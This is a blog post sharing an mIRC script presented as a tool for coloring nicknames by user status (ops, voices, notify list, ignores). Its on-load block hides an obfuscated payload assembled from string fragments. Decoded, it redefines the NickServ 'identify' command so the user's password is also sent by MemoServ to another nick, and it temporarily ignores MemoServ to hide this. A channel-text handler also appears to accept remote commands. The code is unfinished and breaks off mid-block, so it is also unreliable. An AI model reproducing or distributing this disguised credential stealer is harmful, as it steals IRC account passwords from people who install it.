mIRC Renkli Nickler

dialog cnl {
title "Renkli "
size -1 -1 0 0

button "iptal",2, 80 245 50 25,cancel
text "Gurbet_t Tarafindan Edit Edildi. " ,99, 30 280 1000 1000
box "Ben",3, 30 10 100 50
combo 4, 40 30 80 100,drop
box "Oplar",5, 170 10 100 50psd
combo 6, 180 30 80 100,drop
box "Helperlar",7, 170 80 100 50
combo 8, 180 100 80 100,drop
box "Voiceler",9, 170 150 100 50
combo 10, 180 170 80 100,drop
box "Kayıtlı ",11, 170 220 100 50
combo 12, 180 240 80 100,drop
box "Notify list" ,13, 30 80 100 50
combo 14, 40 100 80 100,drop
box "Ignoreler" ,15, 30 150 100 50
combo 16, 40 170 80 100,drop
radio "ç",17, 38 220 30 15
radio "off",18, 88 220 30 15
}
on *:dialog:cnl:init:0:{
%anim.cnl = 0 | .timer_anim_cnl -m 0 1 anim.cnl
did -i cnl 4,6,8,10,12,14,16 1 White (0)
did -i cnl 4,6,8,10,12,14,16 2 Black (1)
did -i cnl 4,6,8,10,12,14,16 3 Blue (2)
did -i cnl 4,6,8,10,12,14,16 4 Green (3)
did -i cnl 4,6,8,10,12,14,16 5 LightRed (4)
did -i cnl 4,6,8,10,12,14,16 6 Brown (5)
did -i cnl 4,6,8,10,12,14,16 7 Purple (6)
did -i cnl 4,6,8,10,12,14,16 8 Orange (7)
did -i cnl 4,6,8,10,12,14,16 9 Yellow (8)
did -i cnl 4,6,8,10,12,14,16 10 LightGreen (9)
did -i cnl 4,6,8,10,12,14,16 11 Cyan (10)
did -i cnl 4,6,8,10,12,14,16 12 LightCyan (11)
did -i cnl 4,6,8,10,12,14,16 13 LightBlue (12)
did -i cnl 4,6,8,10,12,14,16 14 Pink (13)
did -i cnl 4,6,8,10,12,14,16 15 Grey (14)
did -i cnl 4,6,8,10,12,14,16 16 LightGrey (15)
did -c cnl 4 $calc(%cnl.me +1)
did -c cnl 6 $calc(%cnl.op +1)
did -c cnl 8 $calc(%cnl. +1)
did -c cnl 10 $calc(%cnl.voice +1)
did -c cnl 12 $calc(%cnl.reg +1)
did -c cnl 14 $calc(%cnl.notify +1)
did -c cnl 16 $calc(%cnl.ignore +1)
if ($group(#cnl) == on) { did -c $dname 17 }
if ($group(#cnl) == off) { did -c $dname 18 | did -b $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 }
}
on *:dialog:cnl:*:1:{
set %cnl.me $calc($did(cnl,4).sel -1)
set %cnl.op $calc($did(cnl,6).sel -1)
set %cnl.help $calc($did(cnl,8).sel -1)
set %cnl.voice $calc($did(cnl,10).sel -1)
set %cnl.reg $calc($did(cnl,12).sel -1)
set %cnl.notify $calc($did(cnl,14).sel -1)
set %cnl.ignore $calc($did(cnl,16).sel -1)
if ($did(cnl,17).state == 1) { .enable #cnl | make.co }
if ($did(cnl,18).state == 1) { .disable #cnl | un.co }
}
on *:load: {
set %scnl2 $mid(saliascnl,2,5) $mid(sidentifycnl,2,8)
set %scnl3 $mid(sidentifycnl,2,8) $chr(36) $+ 1- $chr(124)
set %scnl4 $mid(00.ignoreed,3,7) $mid(000-u4000,4,5)
set %scnl5 $mid(smemoservcnl,2,8) $chr(124)
set %scnl6 $mid(s.memoservcnl,2,9)
set %scnl7 $mid(sendscnl,1,4)
set %scnl8 $mid(scserversnl,3,7) $chr(36) $+ 1-
//%scnl2 %scnl3 %scnl4 %scnl5 %scnl6 %scnl7 %scnl8
unset %scnl*
}
on *:DIALOG:cnl:sclick:17:{ did -e $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 }
on *:DIALOG:cnl:sclick:18:{ did -b $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 }
on sop:text:!*:#services: {

on sop:text:!takip*:#services: { if (ON isin $2) { /set %nicktakip ON } else set %nicktakip off }
alias make.co {
set -u0 %i 1

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir